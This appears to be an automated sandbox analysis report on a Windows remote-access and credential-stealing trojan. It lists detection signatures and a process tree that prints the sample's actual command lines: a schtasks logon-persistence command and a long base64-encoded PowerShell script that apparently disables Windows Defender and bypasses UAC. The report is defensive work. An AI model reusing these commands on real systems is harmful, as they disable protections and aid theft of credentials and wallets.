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Windows
Analysis Report
SecuriteInfo.com.Trojan.PackedNET.2595.1466.2669.exe
Overview
General Information
Detection
AsyncRAT, DcRat, StormKitty, VenomRAT
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected AsyncRAT
Yara detected BrowserPasswordDump
Yara detected DcRat
Yara detected StormKitty Stealer
Yara detected VenomRAT
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
AI detected suspicious sample
Binary or sample is protected by dotNetProtector
Check if machine is in data center or colocation facility
Contains functionality to log keystrokes (.Net Source)
Disable UAC(promptonsecuredesktop)
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables UAC (registry)
Encrypted powershell cmdline option found
Found many strings related to Crypto-Wallets (likely being stolen)
Installs a global keyboard hook
Machine Learning detection for dropped file
Machine Learning detection for sample
PE file contains section with special chars
PE file has nameless sections
Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Suspicious Windows Service Tampering
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Uses schtasks.exe or at.exe to add and modify task schedules
Uses the Telegram API (likely for C&C communication)
Uses whoami command line tool to query computer and username
Very long command line found
Yara detected Costura Assembly Loader
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates COM task schedule object (often to register a task for autostart)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
One or more processes crash
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the product ID of Windows
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious Schtasks From Env Var Folder
Stores large binary data to the registry
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
- SecuriteInfo.com.Trojan.PackedNET.2595.1466.2669.exe (PID: 6176 cmdline:
"C:\Users\ user\Deskt op\Securit eInfo.com. Trojan.Pac kedNET.259 5.1466.266 9.exe" MD5: 144F1B1C4B9CDAD97D8DD1A3A89E7EA1) - Client.exe (PID: 6152 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\Client .exe" MD5: 7AC0ADF482250172280DEFEC7A7054DA) - cmd.exe (PID: 6404 cmdline:
"C:\Window s\System32 \cmd.exe" /c schtask s /create /f /sc onl ogon /rl h ighest /tn "Loader" /tr '"C:\U sers\user\ AppData\Ro aming\Load er.exe"' & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 2228 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - schtasks.exe (PID: 7244 cmdline:
schtasks / create /f /sc onlogo n /rl high est /tn "L oader" /tr '"C:\User s\user\App Data\Roami ng\Loader. exe"' MD5: 76CD6626DD8834BD4A42E6A565104DC2) - cmd.exe (PID: 1520 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\App Data\Local \Temp\tmpF 879.tmp.ba t"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4568 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - timeout.exe (PID: 7252 cmdline:
timeout 3 MD5: 100065E21CFBBDE57CBA2838921F84D6) - Loader.exe (PID: 7384 cmdline:
"C:\Users\ user\AppDa ta\Roaming \Loader.ex e" MD5: 7AC0ADF482250172280DEFEC7A7054DA) - powershell.exe (PID: 8072 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -enc QAAoA GUAYwBoAG8 AIABvAGYAZ gAlACkAWwA xAF0ADQAKA HMAcAAgACc ASABLAEMAV QA6AFwAVgB vAGwAYQB0A GkAbABlACA ARQBuAHYAa QByAG8AbgB tAGUAbgB0A CcAIAAnAFQ AbwBnAGcAb ABlAEQAZQB mAGUAbgBkA GUAcgAnACA AQAAnAA0AC gBpAGYAIAA oACQAKABzA GMALgBlAHg AZQAgAHEAY wAgAHcAaQB uAGQAZQBmA GUAbgBkACk AIAAtAGwAa QBrAGUAIAA nACoAVABPA EcARwBMAEU AKgAnACkAI AB7ACQAVAB PAEcARwBMA EUAPQA3ADs AJABLAEUAR QBQAD0ANgA 7ACQAQQA9A CcARQBuAGE AYgBsAGUAJ wA7ACQAUwA 9ACcATwBGA EYAJwB9AGU AbABzAGUAe wAkAFQATwB HAEcATABFA D0ANgA7ACQ ASwBFAEUAU AA9ADcAOwA kAEEAPQAnA EQAaQBzAGE AYgBsAGUAJ wA7ACQAUwA 9ACcATwBOA CcAfQANAAo ADQAKAGkAZ gAgACgAJAB lAG4AdgA6A DEAIAAtAG4 AZQAgADYAI AAtAGEAbgB kACAAJABlA G4AdgA6ADE AIAAtAG4AZ QAgADcAKQA gAHsAIAAkA GUAbgB2ADo AMQA9ACQAV ABPAEcARwB MAEUAIAB9A A0ACgANAAo AcwB0AGEAc gB0ACAAYwB tAGQAIAAtA GEAcgBnAHM AIAAnAC8AZ AAvAHIAIAB TAGUAYwB1A HIAaQB0AHk ASABlAGEAb AB0AGgAUwB 5AHMAdAByA GEAeQAgACY AIAAiACUAU AByAG8AZwB yAGEAbQBGA GkAbABlAHM AJQBcAFcAa QBuAGQAbwB 3AHMAIABEA GUAZgBlAG4 AZABlAHIAX ABNAFMAQQB TAEMAdQBpA EwALgBlAHg AZQAiACcAI AAtAHcAaQB uACAAMQANA AoADQAKACQ AbgBvAHQAa QBmAD0AJwB IAEsAQwBVA DoAXABTAE8 ARgBUAFcAQ QBSAEUAXAB NAGkAYwByA G8AcwBvAGY AdABcAFcAa QBuAGQAbwB 3AHMAXABDA HUAcgByAGU AbgB0AFYAZ QByAHMAaQB vAG4AXABOA G8AdABpAGY AaQBjAGEAd ABpAG8AbgB zAFwAUwBlA HQAdABpAG4 AZwBzAFwAV wBpAG4AZAB vAHcAcwAuA FMAeQBzAHQ AZQBtAFQAb wBhAHMAdAA uAFMAZQBjA HUAcgBpAHQ AeQBBAG4AZ ABNAGEAaQB uAHQAZQBuA GEAbgBjAGU AJwANAAoAb gBpACAAJAB uAG8AdABpA GYAIAAtAGU AYQAgADAAf ABvAHUAdAA tAG4AdQBsA GwAOwAgAHI AaQAgACQAb gBvAHQAaQB mAC4AcgBlA HAAbABhAGM AZQAoACcAU wBlAHQAdAB pAG4AZwBzA CcALAAnAEM AdQByAHIAZ QBuAHQAJwA pACAALQBSA GUAYwB1AHI AcwBlACAAL QBGAG8AcgB jAGUAIAAtA GUAYQAgADA ADQAKAHMAc AAgACQAbgB vAHQAaQBmA CAARQBuAGE AYgBsAGUAZ AAgADAAIAA tAFQAeQBwA GUAIABEAHc AbwByAGQAI AAtAEYAbwB yAGMAZQAgA C0AZQBhACA AMAA7ACAAa QBmACAAKAA kAFQATwBHA EcATABFACA ALQBlAHEAI AA3ACkAIAB 7AHIAcAAgA CQAbgBvAHQ AaQBmACAAR QBuAGEAYgB sAGUAZAAgA C0ARgBvAHI AYwBlACAAL QBlAGEAIAA wAH0ADQAKA A0ACgAkAHQ AcwA9AE4AZ QB3AC0ATwB iAGoAZQBjA HQAIAAtAEM AbwBtAE8AY gBqAGUAYwB 0ACAAJwBTA GMAaABlAGQ AdQBsAGUAL gBTAGUAcgB 2AGkAYwBlA CcAOwAgACQ AdABzAC4AQ wBvAG4AbgB lAGMAdAAoA CkAOwAgACQ AYgBhAGYAZ gBsAGkAbgB nAD0AJAB0A HMALgBHAGU AdABGAG8Ab ABkAGUAcgA oACcAXABNA GkAYwByAG8 AcwBvAGYAd ABcAFcAaQB uAGQAbwB3A HMAXABEAGk AcwBrAEMAb ABlAGEAbgB 1AHAAJwApA A0ACgAkAGI AcABhAHMAc wA9ACQAYgB hAGYAZgBsA GkAbgBnAC4 ARwBlAHQAV ABhAHMAawA oACcAUwBpA GwAZQBuAHQ AQwBsAGUAY QBuAHUAcAA nACkAOwAgA CQAZgBsAGE AdwA9ACQAY gBwAGEAcwB zAC4ARABlA GYAaQBuAGk AdABpAG8Ab gANAAoADQA KACQAdQA9A DAAOwAkAHc APQB3AGgAb wBhAG0AaQA gAC8AZwByA G8AdQBwAHM